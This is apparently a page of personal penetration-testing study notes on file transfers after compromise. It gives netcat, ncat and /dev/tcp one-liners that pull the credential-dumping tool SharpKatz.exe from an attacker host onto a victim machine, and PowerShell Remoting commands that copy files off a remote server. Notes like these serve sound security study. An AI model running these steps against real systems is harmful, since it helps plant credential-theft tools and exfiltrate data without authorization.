RIO
  • Welcome
    • RIO
    • Useful Links
  • PENTESTING
    • Methodology
    • Protocols
      • FTP
      • SMB
      • NFS
      • SSH
      • RDP
      • SMTP
      • IMAP / POP3
      • RSYNC
      • SNMP
      • IPMI
      • R-Services
      • WinRM
      • WMI
      • LDAP
    • Databases
      • MySQL
      • MSSQL
      • Oracle TNS
      • PostgreSQL
    • File Transfers
      • Windows
      • Linux
      • Code
      • Misc
    • Password Attacks
      • John The Ripper
      • Hashcat
    • Docker
  • TOOLS
    • Nmap
    • Metasploit
    • BloodHound
    • Other
  • Linux
    • Theory
    • Commands and Utilities
      • Useful Commands
    • Bash Scripting
    • Post-Exploitation
      • Cred Hunting
      • Pivoting
    • Privilege Escalation
  • WINDOWS
    • Theory
      • Security
    • Commands and Utilities
    • PowerShell
    • Post-Exploitation
      • Tools
      • Enumeration
        • System
        • Network
        • Users
        • Groups
        • Processes / Services
        • Permissions
        • Defence
        • Programs
        • Files
      • Access
      • Pivoting
      • Cred Hunting
    • Privilege Escalation
      • Privileges
      • Built-In Groups
        • Backup Operators
        • Server Operators
        • Print Operators
        • DnsAdmins
        • Event Log Readers
      • Privilege Abuse
        • Potatoes
        • SeDebugPrivilege
        • SeTakeOwnershipPrivilege
      • MISC
        • UAC Bypass
        • User-Interaction Attacks
        • Weak Permissions
  • ACTIVE DIRECTORY
    • Theory
      • Terminology
    • Reconnaissance
      • Responder
      • Password Policies
      • DNS
      • Enumeration
        • Users
        • Groups
          • GPO's
        • Shares
        • Domain
        • Trusts
        • ACL
    • Movement
      • Credentials
        • Dumping
          • DCSync
        • Making a Target List
        • Spraying
        • Powershell Remoting
      • Kerberos
        • Kerbrute
        • Kerberoasting
          • Semi-Manual Way
          • Targeted Kerberoasting
        • ASREProasting
        • Forging
          • Golden Ticket
        • Overpass The Hash
        • Pass The Ticket
        • noPAC
      • MITM / Coerced Auths
        • LLMNR, NBT-NS Poisoning
        • PetitPotam
      • DACL Abuse
        • AddMember
        • ForceChangePassword
      • Trust Abuse
        • ExtraSIDs
      • ADCS
      • Printers
        • PrintNightmare
    • Tools
  • Networking
    • Theory
      • Types / Topologies
      • OSI & TCP/IP Models
      • TCP / UDP
      • MAC Addresses
      • IP / Subnetting
      • Proxies
      • ARP
    • Pivoting
      • Port-Forwarding
    • Commands and Utilities
    • Techniques
  • WEB
    • Web Recon
      • Fuzzing
    • DNS
  • CLOUD
    • Google GKE/GCP
      • Theory
Powered by GitBook
On this page
  • File Transfer with Netcat and Ncat
  • PowerShell Session File Transfer
  1. PENTESTING
  2. File Transfers

Misc

File Transfer with Netcat and Ncat

  1. Netcat - Attack Host - Sending File to Compromised machine. The option -q 0 gonna close connection after transferring.

# Using original netcat
victim$ nc -l -p 8000 > SharpKatz.exe
attacker$ nc -q 0 13.13.13.13 8000 < SharpKatz.exe
  1. Ncat - Attack Host - Sending File to Compromised machine

# Using Ncat
victim$ ncat -l -p 8000 --recv-only > SharpKatz.exe
attacker$ ncat --send-only 13.13.13.13 8000 < SharpKatz.exe
  1. Sending File as Input to Netcat

attacker$ sudo nc -l -p 443 -q 0 < SharpKatz.exe
victim$ nc 13.13.13.13 443 > SharpKatz.exe
  1. Sending File as Input to Ncat

attacker$ sudo ncat -l -p 443 --send-only < SharpKatz.exe
victim$ ncat 13.13.13.13 443 --recv-only > SharpKatz.exe
  1. Sending File from Attacker machine to Compromised using /dev/tcp

# Netcat option
attacker$ sudo nc -l -p 443 -q 0 < SharpKatz.exe
# Ncat option
attacker$ sudo ncat -l -p 443 --send-only < SharpKatz.exe
# Connecting to netcat using /dev/tcp
victim$ 
cat < /dev/tcp/13.13.13.13/443 > SharpKatz.exe

PowerShell Session File Transfer

I know I used to show about PowerShell file transfers in Windows File Transfer section, but there are possibilities when no HTTP, HTTPS or SMB are available. So here we'll use PowerShell Remoting aka WinRM. Usually work on TCP/5985 port for HTTP and TCP/5986 port for HTTPS.

  1. Check TCP 5985 Port on DATABASE01

PS C:\carnifex17> Test-NetConnection -ComputerName DATABASE01 -Port 5985
  1. Create a PowerShell Remoting Session to DATABASE01

PS C:\Desktop> $Session = New-PSSession -ComputerName DATABASE01
  1. Copy samplefile.txt from our Localhost to the DATABASE01 Session

PS C:\Desktop> Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\
  1. Copy DATABASE.txt from DATABASE01 Session to our Localhost

PS C:\Desktop> Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session
PreviousCodeNextPassword Attacks